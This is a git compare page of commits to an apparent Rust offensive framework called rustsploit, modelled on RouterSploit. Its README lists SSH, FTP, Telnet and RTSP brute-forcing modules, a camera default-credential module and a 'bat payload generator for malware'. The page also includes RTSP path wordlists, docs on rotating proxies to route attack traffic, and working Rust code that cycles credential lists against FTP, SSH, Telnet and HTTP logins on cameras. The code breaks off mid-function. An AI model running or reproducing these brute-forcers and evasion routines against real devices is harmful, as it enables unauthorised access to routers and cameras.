Compare commits

...

55 Commits

Author SHA1 Message Date
S.B 87dbf50464 Update README.md 2025-04-20 21:05:04 +02:00
S.B 3b258196f8 Merge pull request #3 from s-b-repo/weakly-dev.2
Weakly dev.2
2025-04-20 20:56:14 +02:00
S.B 2afa06ec1c Add files via upload 2025-04-20 20:53:17 +02:00
S.B 62c1c0b1a2 Delete src directory 2025-04-20 20:52:18 +02:00
S.B d11ee5cbeb Update Cargo.toml 2025-04-20 20:49:41 +02:00
S.B ddc6f57ade Update exploit.rs 2025-04-20 20:44:20 +02:00
S.B 67a87ac70e Add files via upload 2025-04-20 20:43:25 +02:00
S.B 16459fac69 Update mod.rs 2025-04-20 20:43:08 +02:00
S.B ae44fcb90c Rename enum.txt to rtsp-paths.txt 2025-04-16 16:45:36 +02:00
S.B 7f446b00a5 Add files via upload 2025-04-16 16:45:06 +02:00
S.B e40938fbb5 Create about.txt 2025-04-16 16:44:36 +02:00
S.B c841746f3c Update creds.rs 2025-04-16 16:43:13 +02:00
S.B bf06740df6 Update mod.rs 2025-04-16 16:42:17 +02:00
S.B 3be699817f Add files via upload 2025-04-16 16:41:48 +02:00
S.B df998013b1 Update Cargo.toml 2025-04-16 15:16:28 +02:00
S.B b77f60a9c5 Update doc.md 2025-04-16 15:12:38 +02:00
S.B 91d887217d Update cli.rs 2025-04-16 15:10:03 +02:00
S.B c0b9e431f5 Update shell.rs 2025-04-16 15:09:29 +02:00
S.B baf250e636 Update README.md 2025-04-16 13:50:46 +02:00
S.B 084b391737 Update README.md 2025-04-16 13:48:10 +02:00
S.B c13109589f Update README.md 2025-04-16 13:46:26 +02:00
S.B e0bbf7ba23 Update README.md 2025-04-16 13:43:47 +02:00
S.B b41b3c58c0 Update README.md 2025-04-16 11:18:40 +02:00
S.B 2ca6920b3d Update README.md 2025-04-16 11:15:03 +02:00
S.B 79cbecb69c Merge pull request #2 from s-b-repo/weekly-dev
Weekly dev
2025-04-16 11:13:42 +02:00
S.B 837660fccf Add files via upload 2025-04-16 11:12:56 +02:00
S.B 6c3e9a9fee Update creds.rs 2025-04-16 10:53:42 +02:00
S.B d30bc674c5 Update mod.rs 2025-04-16 10:51:56 +02:00
S.B eefd13f15d Add files via upload 2025-04-16 10:50:26 +02:00
S.B e33c9b5511 Delete src/modules/creds/camera directory 2025-04-16 10:48:55 +02:00
S.B 7cd7a21231 Add files via upload 2025-04-16 10:48:32 +02:00
S.B 0621f32f03 Update Cargo.toml 2025-04-15 09:38:01 +02:00
S.B ac38523823 Add files via upload 2025-04-15 09:37:21 +02:00
S.B d074a8157f Delete src directory 2025-04-15 09:36:46 +02:00
S.B d0f4ca17c6 Merge pull request #1 from s-b-repo/rewrite
Rewrite
2025-04-11 01:03:54 +02:00
S.B 62916f46dc Update Cargo.toml 2025-04-11 00:53:03 +02:00
S.B df629fa3e3 Add files via upload 2025-04-11 00:52:34 +02:00
S.B 873c12cbfa Delete src directory 2025-04-11 00:51:33 +02:00
S.B 632cab6a26 Update doc.md 2025-04-10 23:10:48 +02:00
S.B 0ac87b3e49 Update doc.md 2025-04-10 23:10:10 +02:00
S.B c43b1e1ae3 Create doc.md 2025-04-10 23:08:28 +02:00
S.B f876d91986 Update Cargo.toml 2025-04-10 19:05:29 +02:00
S.B 49ada2bb21 Update README.md 2025-04-10 19:02:07 +02:00
S.B 3f87adeb60 Update mod.rs 2025-04-10 19:00:23 +02:00
S.B e216e416ca Update creds.rs 2025-04-10 19:00:00 +02:00
S.B a910b75637 Add files via upload 2025-04-10 18:58:36 +02:00
S.B d9547dbe2e Create ftp_anonymous.rs 2025-04-10 18:20:21 +02:00
S.B 54b1606028 Update creds.rs 2025-04-10 18:18:26 +02:00
S.B 2228c8a19b Update mod.rs 2025-04-10 18:16:26 +02:00
S.B 0d589e9bb6 Update README.md 2025-04-10 06:55:53 +02:00
S.B 1ad4786466 Update README.md 2025-04-10 06:52:29 +02:00
S.B a64b60c307 Update mod.rs 2025-04-10 06:47:59 +02:00
S.B 22933ec2fb Add files via upload 2025-04-10 06:46:58 +02:00
S.B 892a29851a Update Cargo.toml 2025-04-10 06:46:02 +02:00
S.B f4217fa04d Update utils.rs 2025-04-10 06:45:18 +02:00
26 changed files with 2622 additions and 97 deletions
+31 -2
View File
@@ -1,11 +1,14 @@
[package]
name = "r_routersploit"
name = "rustsploit"
version = "0.1.0"
edition = "2021"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json"] }
reqwest = { version = "0.12.15", features = ["json", "socks"] }
#proxy manager
rand = "0.9.0"
# For CLI parsing
clap = { version = "4.5.35", features = ["derive"] }
@@ -15,3 +18,29 @@ tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread"] }
# Easier error handling
anyhow = "1.0.97"
#teminal color
colored = "3.0.0"
rustyline = "15.0.0"
#ftp brute force module
async_ftp = "6.0.0"
tokio-socks = "0.5.2"
#telnet
threadpool = "1.8.1"
crossbeam-channel = "0.5.15"
telnet = "0.2.3"
walkdir = "2.5.0"
#ssh
ssh2 = "0.9.5"
# rstp brute forcing
base64 = "0.22.1"
[[bin]]
name = "rustsploit"
path = "src/main.rs"
+60 -23
View File
@@ -1,20 +1,43 @@
---
# R-RouterSploit 🛠️
# Rustsploit 🛠️
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
![Screenshot](https://github.com/s-b-repo/r-routersploit/raw/main/Screenshot_20250409_010733.png)
![Screenshot](https://github.com/s-b-repo/r-routersploit/raw/main/Screenshot_20250416_111212.png)
---
### Goals & To Do lists
convert exploits and add modules
add wordlists and brute forcing modules
# completed
```
created docs
added acti camera module
created bat payload generator for malware
added proxy support https/http socks4/socks5
telnet brute forcing module
ssh brute forcing module
ftp anonymous login module
ftp brute forcing module
added rtsp_bruteforce module
dynamic modules listing and colored listing
```
## 🚀 Building & Running
@@ -27,8 +50,41 @@ cd r-routersploit
### 🛠️ Build the Project
```bash
```
cargo build
or if you just want to run the tool and see after builing run this command in folder
cargo run
```
if you want it installed run
```
cargo install
```
### 🖥️ Run in Interactive Shell Mode
Launch the interactive RSF shell:
```
rustsploit
cargo run
```
Once inside the shell, you can explore and execute modules:
```
rsf> help
rsf> modules
rsf> use exploits/sample_exploit
rsf> set target 192.168.1.1
rsf> run
```
### 🔧 Run in CLI Mode
@@ -52,24 +108,5 @@ cargo run -- --command scanner --module sample_scanner --target 192.168.1.1
```
cargo run -- --command creds --module sample_cred_check --target 192.168.1.1
```
### 🖥️ Run in Interactive Shell Mode
Launch the interactive RSF shell:
```
cargo run
```
Once inside the shell, you can explore and execute modules:
```shell
rsf> help
rsf> modules
rsf> use exploits/sample_exploit
rsf> set target 192.168.1.1
rsf> run
```
---
Binary file not shown.

After

Width:  |  Height:  |  Size: 104 KiB

+437
View File
@@ -0,0 +1,437 @@
the internal architecture, how to add or modify modules, and how the CLI and shell interact with the framework.
---
# 🛠️ Developer Documentation: RouterSploit-Rust Framework
> This document explains the architecture, core logic, CLI, shell system, and how to add or modify exploit/scanner/credential modules. It is meant for developers looking to extend or maintain this Rust-based pentesting framework.
---
## 🧠 Framework Philosophy
This tool is a **modular, extensible**, and **safe-by-default** Rust rewrite of the RouterSploit concept. Each exploit, scanner, or credential brute-forcer lives in its own **module file**, and can be invoked via:
- 📟 Command-Line Interface (CLI)
- 🖥️ Interactive Shell
---
## 🗂️ Directory Structure
```
routersploit_rust/
├── Cargo.toml
└── src
├── main.rs # Entry point
├── cli.rs # Parses CLI args
├── shell.rs # Interactive shell (rsf> prompt)
├── commands/ # Dispatch logic for exploit/scanner/creds
│ ├── mod.rs
│ ├── exploit.rs
│ ├── scanner.rs
│ └── creds.rs
├── modules/ # All available attack modules
│ ├── mod.rs
│ ├── exploits/
│ │ ├── mod.rs
│ │ └── sample_exploit.rs
│ ├── scanners/
│ │ ├── mod.rs
│ │ └── sample_scanner.rs
│ └── creds/
│ ├── mod.rs
│ └── sample_cred_check.rs
└── utils.rs # Utility helpers (e.g., list modules)
```
---
## 🔗 Module System
Each **module** (exploit/scanner/cred checker) is self-contained:
### Anatomy of a Module
```rust
pub async fn run(target: &str) -> Result<()> {
println!("[*] Running <MODULE_NAME> on target {}", target);
// Logic here
Ok(())
}
```
Each module must:
- Be placed inside the correct subfolder (e.g., `modules/exploits/`)
- Have a `run(target: &str) -> Result<()>` function
- Be declared in its parent's `mod.rs`
- Be wired into the corresponding command handler (e.g., `commands/exploit.rs`)
---
## ⚙️ CLI Internals
Handled via **Clap** in `cli.rs`:
```
cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
```
- Parses command like `--command scanner`, `--module sample_scanner`, `--target 192.168.1.1`
- Passed into `commands::handle_command()` for dispatch
---
## 🖥️ Interactive Shell
Start with:
```
cargo run
```
Inside the shell:
```
rsf> help
rsf> modules
rsf> use exploits/sample_exploit
rsf> set target 192.168.1.1
rsf> run
```
Shell maintains internal state:
- `current_module` (e.g., `exploits/sample_exploit`)
- `current_target` (e.g., `192.168.1.1`)
When `run` is called, it dispatches via `commands::run_module()`.
---
## 🧪 Running a Module (Backend Flow)
1. Shell or CLI calls `commands::run_module("exploits/sample_exploit", "192.168.1.1")`
2. `commands/mod.rs` matches `exploits/` and calls `commands/exploit.rs`
3. `commands/exploit.rs` matches `sample_exploit` and calls `modules/exploits/sample_exploit.rs`
4. `run(target: &str)` executes async exploit logic
5. Results are printed back to the user
---
## How to Add a New Exploit/Scanner/Cred Module
### 1. Create the Module File
Example: `src/modules/exploits/my_new_exploit.rs`
```rust
use anyhow::{Result, Context};
use reqwest;
pub async fn run(target: &str) -> Result<()> {
println!("[*] Launching my_new_exploit on {}", target);
let url = format!("http://{}/pwn", target);
let resp = reqwest::get(&url)
.await
.context("Request failed")?
.text()
.await?;
if resp.contains("owned") {
println!("[+] Target is vulnerable!");
} else {
println!("[-] Not vulnerable.");
}
Ok(())
}
```
---
### 2. Register It in `mod.rs`
```rust
// src/modules/exploits/mod.rs
pub mod sample_exploit;
pub mod my_new_exploit;
```
---
### 3. Wire It into the Command Handler
```rust
// src/commands/exploit.rs
match module_name {
"sample_exploit" => exploits::sample_exploit::run(target).await?,
"my_new_exploit" => exploits::my_new_exploit::run(target).await?,
_ => eprintln!("Unknown exploit module"),
}
```
---
---
## 🛑 Error Handling
- All `run()` functions return `Result<()>` using `anyhow` for easy error context.
- Errors are automatically printed when the main shell or CLI fails.
---
## ⚡ Async Support
- The project uses `tokio` runtime and `reqwest` async client.
- All modules can use `async fn run(...) -> Result<()>` safely.
---
## 📡 HTTP Requests
- Use `reqwest` for sending requests to the target:
```rust
let response = reqwest::get(&url).await?;
```
- Or with a custom client and headers/auth:
```rust
let client = reqwest::Client::new();
let resp = client.post(&url).json(&data).send().await?;
```
---
## 🧪 Example Use Cases
### CLI Mode
```
# Exploit a router
cargo run -- --command exploit --module sample_exploit --target 192.168.0.1
```
### Shell Mode
```
rsf> use exploits/sample_exploit
rsf> set target 192.168.0.1
rsf> run
```
---
## 🧼 Resetting Shell State
There is no persistent state between runs. All values (`module`, `target`) must be set each time unless you're adding support for config files or persistence.
---
## 🔐 Real Exploit Integration
To adapt a real-world CVE:
- Convert the PoC into an async HTTP request
- Simulate or validate the vulnerable response pattern
- Follow the above module creation workflow
If the exploit is based on open TCP/UDP, you can use `tokio::net::TcpStream` or `tokio::net::UdpSocket`.
---
## 🛠️ Feature Ideas
- 🧰 Add wordlist brute-forcers (like rockyou support)
- 📄 Export results to a file
- ⚡ Parallel scanning via `tokio::spawn`
- 🔌 Plugin system for runtime module loading
- 🔒 Encrypted config/profile saving
- 🧪 Integration with Shodan/Censys APIs
---
## 👥 Contributors
- Main Developer: You.
- Language: 100% Rust
- Base Concept: Inspired by RouterSploit, Metasploit, and pwntools.
---
Below is a **step-by-step** walkthrough of the proxy logic in the updated `shell.rs` whenever the user types `run`. It explains how the **retry mechanism** works, how a **new proxy** is selected after a failure, and how we **stop** when all proxies are exhausted.
---
## 1. `run` Command Overview
When the user types **`run`** in the shell:
1. We check if there is a **selected module** (`current_module`) and a **target** (`current_target`). If either is missing, we prompt the user to set them.
2. If both are set:
- We look at whether **proxy usage** is **enabled** (`proxy_enabled = true`) and whether we have a **non-empty proxy list**.
- Based on this, we do one of the following:
- **Proxy is ON & we have proxies**: Attempt the exploit with **one or more** proxies in a loop (retrying).
- **Proxy is ON & we have no proxies**: Just do a **direct** attempt (warn user).
- **Proxy is OFF**: Only do a **direct** attempt.
---
## 2. When Proxy is ON (and Proxies Are Loaded)
If `proxy_enabled == true` and `proxy_list` is **not** empty, the `run` logic does this:
1. **Create** a `HashSet<String>` called `tried_proxies` this will track which proxies we have already used and failed on.
2. **Loop** until either:
- We **succeed** with a proxy, or
- We have tried **all** proxies in `proxy_list`.
3. **Pick a Random Proxy**
- We call `pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies)`.
- This function filters out any proxies that are already in `tried_proxies` (i.e., ones that failed previously).
- It then chooses **one** from the remaining pool **at random**.
- If all have been tried, it falls back to picking *any* random proxy from the full list (ensuring no panic).
4. **Set `ALL_PROXY` Environment Variable**
- We call `set_all_proxy_env(&chosen_proxy)`.
- Inside that function, we do:
```rust
env::set_var("ALL_PROXY", proxy);
```
- Because your exploit modules use `reqwest` (with the `socks` feature), **any** request they make automatically goes through that proxy (whether its HTTP, HTTPS, SOCKS4, or SOCKS5).
5. **Run the Module**
```rust
match commands::run_module(module_path, t).await {
Ok(_) => { ... }
Err(e) => { ... }
}
```
- This calls the real exploit/scanner/cred module. The module tries to send its requests.
- Because `ALL_PROXY` is set, **all** of its traffic routes through the chosen proxy.
6. **Check the Result**
- If it returns `Ok(())`, that means the exploit **did not** fail at the top level. We **break** the loop and stop retrying.
- If it returns `Err(e)`, we:
1. Print an error message.
2. Add the **chosen proxy** to `tried_proxies`.
3. Repeat the loop, picking a new untried proxy.
7. **Exhausting All Proxies**
- If we eventually try **every** proxy in `proxy_list` (i.e., `tried_proxies.len() == ctx.proxy_list.len()`) and **still** fail, we exit the loop.
8. **Final Fallback: Direct Attempt**
- If we never got a success, we do a **final** attempt **without** any proxy:
```rust
clear_proxy_env_vars();
commands::run_module(module_path, t).await;
```
- That either succeeds or fails. If it fails, we simply print the error and continue (or end).
---
## 3. When Proxy is ON but No Proxies Are Loaded
If `proxy_enabled == true` but `proxy_list` is empty:
1. We **cannot** pick a proxy, so we simply show a warning:
```
[!] No proxies loaded, but proxy is ON. Doing direct attempt...
```
2. We call `clear_proxy_env_vars()` to ensure were not using a stale proxy environment variable.
3. We run the module once. No retries occur here.
---
## 4. When Proxy is OFF
If `proxy_enabled == false`, we do a **single** direct attempt:
1. `clear_proxy_env_vars()` is called to remove any existing proxy environment variables.
2. `commands::run_module(module_path, t).await` is called.
3. If it fails, we just print the error. We do **not** retry.
---
## 5. Summarizing the Retry Logic
Below is a simplified flowchart of the “**Proxy is ON & Proxies Are Loaded**” scenario:
```
+--------------------------+
| Start 'run' command |
+--------------------------+
| (Check if module & target are set)
v
+-------------------------------+
| tried_proxies = empty set |
+-------------------------------+
|
| while tried_proxies.len() < proxy_list.len():
v
+--------------------------------------------------+
| pick_random_untried_proxy(proxy_list, tried_set) |
+--------------------------------------------------+
|
| set_all_proxy_env(chosen_proxy)
v
+-----------------------------------------+
| run_module(module_path, target) => Err? |
+-----------------------------------------+
| |
(Ok) | | (Err)
v v
(Stop) tried_proxies.insert(chosen_proxy)
(loop again)
If we exit the loop with no success:
=> clear_proxy_env_vars()
=> do a final direct run_module()
```
Hence, after each failure, we remove that proxy from the candidate pool and pick a new one. We do **not** pick the same failing proxy again. If, after exhausting **all** proxies, everything fails, we do one **direct** attempt with no proxy.
---
## 6. Why This Requires No Changes to Exploit Modules
- **All** changes happen at the shell level (the `run` command).
- Each time we call `commands::run_module(...)`, we have **already** set the environment variable `ALL_PROXY`.
- The exploit modules (e.g., `sample_exploit.rs`) simply use `reqwest` without knowing or caring about proxies.
- `reqwest` automatically checks `ALL_PROXY` and routes traffic accordingly.
- If that proxy fails for any reason (connection refused, times out, etc.), `run_module(...)` returns an error to the shell, triggering the **retry** logic.
---
## 7. Practical Considerations
1. **Module-Level vs. Shell-Level Retries**
- We do an entire “exploit run” in one attempt. If the exploit tries multiple sub-requests and fails halfway, from the shells perspective its just one run that failed.
- We then pick a new proxy and re-run from scratch.
2. **Timeouts**
- If a proxy is **very** slow or dead, you may not get an error for a while (unless your module sets timeouts).
- Consider setting a **short** timeout in your modules if you want to quickly detect non-functional proxies.
3. **Full Proxy Exhaustion**
- If every proxy fails, we do a final direct attempt. If that also fails, we give up.
4. **Thread-Safety**
- Because were doing everything in a single-threaded loop, environment-variable changes are straightforward.
- In a multi-threaded scenario, changing `ALL_PROXY` globally might cause conflicts or race conditions.
---
## 8. Final Summary
1. **User** types `run`.
2. If **proxy is on** and there are proxies in the list, the shell tries them **one by one** (random order), setting `ALL_PROXY` each time and calling `run_module`.
3. On each **failure**, the shell adds that proxy to a “tried” set and repeats with a **new** proxy.
4. If the user **exhausts** all proxies (they all fail), the shell **finally** attempts a **direct** run (no proxy).
5. If the exploit **succeeds** at any point, we **stop** retrying.
6. This entire sequence requires **no changes** to the exploit modules, as they already rely on `reqwest`, which automatically respects `ALL_PROXY`.
Thats the logic behind automatic proxy retries for failing requests!
+1
View File
@@ -0,0 +1 @@
just lists like word lists
+176
View File
@@ -0,0 +1,176 @@
0
0video1
1
1.AMP
11:1main
1cif
1stream1
11
12
4
CAM_ID.password.mp2
CH001.sdp
GetData.cgi
H264
HighResolutionVideo
HighResolutionvideo
Image.jpg
LowResolutionVideo
MJPEG.cgi
MediaInputh264
MediaInputh264stream_1
MediaInputmpeg4
ONVIFMediaInput
ONVIFchannel1
PSIAStreamingchannels0?videoCodecType=H.264
PSIAStreamingchannels1
PSIAStreamingchannels1?videoCodecType=MPEG4
PSIAStreamingchannelsh264
Possible
ROHchannel11
StreamingChannels1
StreamingChannels101
StreamingChannels102
StreamingChannels103
StreamingChannels2
StreamingUnicastchannels101
Streamingchannels101
Video?Codec=MPEG4&Width=720&Height=576&Fps=30
VideoInput1h2641
access_code
access_name_for_stream_1_to_5
av0_0
av0_1
av2
avn=2
axis-mediamedia.amp
axis-mediamedia.amp?videocodec=h264&resolution=640x480
cam
camrealmonitor
camrealmonitor?channel=1&subtype=00
camrealmonitor?channel=1&subtype=01
camrealmonitor?channel=1&subtype=1
cam0_0
cam0_1
cam1h264
cam1h264multicast
cam1mjpeg
cam1mpeg4
cam1onvif-h264
camera.stm
cgi-binviewervideo.jpg?resolution=640x480
ch0
ch0.h264
ch001.sdp
ch01.264
ch0_0.h264
ch0_unicast_firststream
ch0_unicast_secondstream
channel1
dms.jpg
dms?nowprofileid=2
h264
h264.sdp
h264ch1sub
h264media.amp
h264Preview_01_main
h264Preview_01_sub
cam4mpeg4
h264_vga.sdp
image.jpg
image.mpg
imagejpeg.cgi
imgmedia.sav
imgvideo.asf
imgvideo.sav
ioImage1
ipcam.sdp
ipcamstream.cgi?nowprofileid=2
ipcam_h264.sdp
jpgimage.jpg?size=3
live
live.sdp
liveav0
livech0
livech00_0
livech00_1
livech1
livech2
liveh264
livempeg4
live0.264
live1.264
live1.sdp
live2.sdp
live3.sdp
live_h264.sdp
live_mpeg4.sdp
livestream
livestream
media
media.amp
mediamedia.amp
mediavideo1
mediavideo2
mediavideo3
medias1
mjpeg.cgi
mjpegmedia.smp
mp4
mpeg4
mpeg41media.amp
mpeg4media.amp
mpeg4media.amp?resolution=640x480
mpeg4media.smp
mpeg4cif
mpeg4unicast
mpg4rtsp.amp
multicaststream
now.mp4
nph-h264.cgi
nphMpeg4g726-640x
nphMpeg4g726-640x480
nphMpeg4nil-320x240
onvif-mediamedia.amp
onviflive2
onvif1
onvif2
play1.sdp
play2.sdp
profile
recognizer
rtpvideo1.sdp
rtsp_tunnel
rtsph264
rtsph2641080p
stream1
stream2
streamingmjpeg
synthesizer
tcpav0_0
user_defined
video
video.3gp
video.cgi
video.cgi?resolution=VGA
video.cgi?resolution=vga
video.h264
video.mjpg
video.mp4
video.pro1
video.pro2
ucast11
unicastc1s1live
user.pin.mp2
video.pro3
videomjpg.cgi
video1
video1+audio1
video2.mjpg
videoMain
videoinput_1:0h264_1onvif.stm
user=admin_password=tlJwpbo6_channel=1_stream=0.sdp?real_stream
videostream.cgi?rate=0
vis
wfov
+82
View File
@@ -0,0 +1,82 @@
OPTIONS
DESCRIBE
SETUP
PLAY
PAUSE
TEARDOWN
GET_PARAMETER
SET_PARAMETER
REDIRECT
ANNOUNCE
RECORD
FLUSH
PING
STOP
RECEIVE
START
SHUTDOWN
CHECK
INIT
TRICKPLAY
STREAM
OPEN
CLOSE
START_RECORD
STOP_RECORD
SCALE
RESUME
STANDBY
START_PLAY
REQUEST_KEY_FRAME
CONFIG
FORCE_IFRAME
DETECT
ALIVE
RENEW
LINK
UNLINK
SET_DELAY
RESET
ACTIVATE
DEACTIVATE
ENABLE
DISABLE
LOGON
LOGOFF
AUTH
START_STREAM
STOP_STREAM
SET_TIME
GET_TIME
GET_STATUS
GET_CONFIG
SET_CONFIG
GET_INFO
SET_INFO
GET_SNAPSHOT
TRIGGER
UPGRADE
QUERY
POLL
HEARTBEAT
REPORT
CAMERA_CONTROL
FOCUS
ZOOM
PTZ
PAN
TILT
PRESET
GOTO_PRESET
SET_PRESET
REMOVE_PRESET
ADJUST
STATUS
RESTART
GET_URL
SET_URL
LOAD
SAVE
REGISTER
UNREGISTER
METADATA
+25 -7
View File
@@ -1,13 +1,31 @@
use anyhow::Result;
use crate::modules::creds;
use anyhow::{Result, bail};
// Import all available credential modules
use crate::modules::creds::{
generic::{
ftp_anonymous,
ftp_bruteforce,
sample_cred_check,
telnet_bruteforce,
ssh_bruteforce,
rtsp_bruteforce_advanced,
},
camera::acti::acti_camera_default,
};
/// Dispatch function for credential modules
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
match module_name {
"sample_cred_check" => {
creds::sample_cred_check::run(target).await?;
},
// Add more creds modules here ...
_ => eprintln!("Creds module '{}' not found.", module_name),
"generic/sample_cred_check" => sample_cred_check::run(target).await?,
"generic/ftp_bruteforce" => ftp_bruteforce::run(target).await?,
"generic/ftp_anonymous" => ftp_anonymous::run(target).await?,
"generic/telnet_bruteforce" => telnet_bruteforce::run(target).await?,
"generic/ssh_bruteforce" => ssh_bruteforce::run(target).await?,
"generic/rtsp_bruteforce_advanced" => rtsp_bruteforce_advanced::run(target).await?,
"camera/acti/acti_camera_default" => acti_camera_default::run(target).await?,
_ => bail!("Creds module '{}' not found.", module_name),
}
Ok(())
}
+14 -7
View File
@@ -1,13 +1,20 @@
use anyhow::Result;
use crate::modules::exploits;
// src/commands/exploit.rs (dispatcher)
use anyhow::{Result, bail};
use crate::modules::exploits::{self, payloadgens};
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
match module_name {
"sample_exploit" => {
exploits::sample_exploit::run(target).await?;
},
// Add more exploit modules here ...
_ => eprintln!("Exploit module '{}' not found.", module_name),
// ───────────── standard exploits ─────────────
"sample_exploit" |
"exploits/sample_exploit" => exploits::sample_exploit::run(target).await?,
// ───────── payload generators (nested) ───────
"payloadgenbat" | // short alias
"payloadgens/payloadgenbat" | // full path users type in shell/CLI
"exploits/payloadgens/payloadgenbat" => payloadgens::payloadgenbat::run(target).await?,
_ => bail!("Exploit module '{}' not found.", module_name),
}
Ok(())
}
+69 -24
View File
@@ -1,51 +1,96 @@
// src/commands/mod.rs
pub mod exploit;
pub mod scanner;
pub mod creds;
use anyhow::Result;
use crate::cli::Cli;
use walkdir::WalkDir;
/// Handle CLI commands like: --command exploit --module creds/generic/ftp_anonymous --target x.x.x.x
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let target = cli_args.target.clone().unwrap_or_default();
let module = cli_args.module.clone().unwrap_or_default();
match command {
"exploit" => {
let target = cli_args.target.clone().unwrap_or_default();
let module = cli_args.module.clone().unwrap_or_default();
exploit::run_exploit(&module, &target).await?;
let trimmed = module.trim_start_matches("exploits/"); // normalize
exploit::run_exploit(trimmed, &target).await?;
},
"scanner" => {
let target = cli_args.target.clone().unwrap_or_default();
let module = cli_args.module.clone().unwrap_or_default();
scanner::run_scan(&module, &target).await?;
let trimmed = module.trim_start_matches("scanners/");
scanner::run_scan(trimmed, &target).await?;
},
"creds" => {
let target = cli_args.target.clone().unwrap_or_default();
let module = cli_args.module.clone().unwrap_or_default();
creds::run_cred_check(&module, &target).await?;
let trimmed = module.trim_start_matches("creds/");
creds::run_cred_check(trimmed, &target).await?;
},
_ => {
eprintln!("Unknown command '{}'", command);
}
}
Ok(())
}
// Called from the interactive shell
/// Called from the interactive shell (e.g. 'use creds/generic/ftp_anonymous' + 'run')
pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
if module_path.starts_with("exploits/") {
let module_name = module_path.trim_start_matches("exploits/").to_string();
exploit::run_exploit(&module_name, target).await?;
} else if module_path.starts_with("scanners/") {
let module_name = module_path.trim_start_matches("scanners/").to_string();
scanner::run_scan(&module_name, target).await?;
} else if module_path.starts_with("creds/") {
let module_name = module_path.trim_start_matches("creds/").to_string();
creds::run_cred_check(&module_name, target).await?;
} else {
eprintln!("Unknown module path '{}'", module_path);
let available = discover_modules();
if !available.contains(&module_path.to_string()) {
eprintln!("Unknown module '{}'. Available modules:", module_path);
for module in available {
println!(" {}", module);
}
return Ok(());
}
// Split path like "creds/generic/ftp_anonymous" -> ("creds", "generic/ftp_anonymous")
let mut parts = module_path.splitn(2, '/');
let category = parts.next().unwrap_or("");
let module_name = parts.next().unwrap_or("");
match category {
"exploits" => {
exploit::run_exploit(module_name, target).await?;
},
"scanners" => {
scanner::run_scan(module_name, target).await?;
},
"creds" => {
creds::run_cred_check(module_name, target).await?;
},
_ => {
eprintln!("Category '{}' is not supported.", category);
}
}
Ok(())
}
/// Discover modules in src/modules/{exploits,scanners,creds} recursively up to 6 levels deep
pub fn discover_modules() -> Vec<String> {
let mut modules = Vec::new();
let categories = ["exploits", "scanners", "creds"];
for category in categories {
let base_path = format!("src/modules/{}", category);
let walker = WalkDir::new(&base_path).max_depth(6);
for entry in walker.into_iter().filter_map(|e| e.ok()) {
let path = entry.path();
if path.is_file() && path.extension().map(|e| e == "rs").unwrap_or(false) {
if let Ok(relative) = path.strip_prefix("src/modules") {
let module_path = relative
.with_extension("") // remove .rs
.to_string_lossy()
.replace("\\", "/"); // Windows compatibility
modules.push(module_path);
}
}
}
}
modules
}
@@ -0,0 +1,203 @@
use anyhow::{Context, Result};
use async_ftp::FtpStream;
use reqwest::Client;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
#[allow(dead_code)]
/// Supported Acti services
pub enum ServiceType {
Ftp,
Ssh,
Telnet,
Http,
}
/// Common config
#[derive(Clone)]
pub struct Config {
pub target: String,
pub port: u16,
pub credentials: Vec<(&'static str, &'static str)>,
pub stop_on_success: bool,
pub verbosity: bool,
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<()> {
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying FTP: {}:{}", username, password);
}
let address = format!("{}:{}", config.target, config.port);
match FtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
println!("[+] FTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
let _ = ftp.quit().await;
}
Err(_) => continue,
}
}
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// SSH check (blocking, so we use spawn_blocking in our run function)
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying SSH: {}:{}", username, password);
}
let address = format!("{}:{}", config.target, config.port);
if let Ok(stream) = TcpStream::connect(address) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
session.handshake().context("SSH handshake failed")?;
if session.userauth_password(username, password).is_ok() && session.authenticated() {
println!("[+] SSH credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
}
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// Telnet check (blocking, so we use spawn_blocking in our run function)
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying Telnet: {}:{}", username, password);
}
if let Ok(mut telnet) = Telnet::connect((config.target.as_str(), config.port), 500) {
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
// Give device time to respond
std::thread::sleep(Duration::from_millis(500));
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
let response = String::from_utf8_lossy(&buffer);
if !response.contains("incorrect") && !response.contains("failed") {
println!("[+] Telnet credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
}
}
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// HTTP Web Login check (async)
pub async fn check_http_form(config: &Config) -> Result<()> {
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("http://{}:{}/video.htm", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying HTTP: {}:{}", username, password);
}
let data = [
("LOGIN_ACCOUNT", *username),
("LOGIN_PASSWORD", *password),
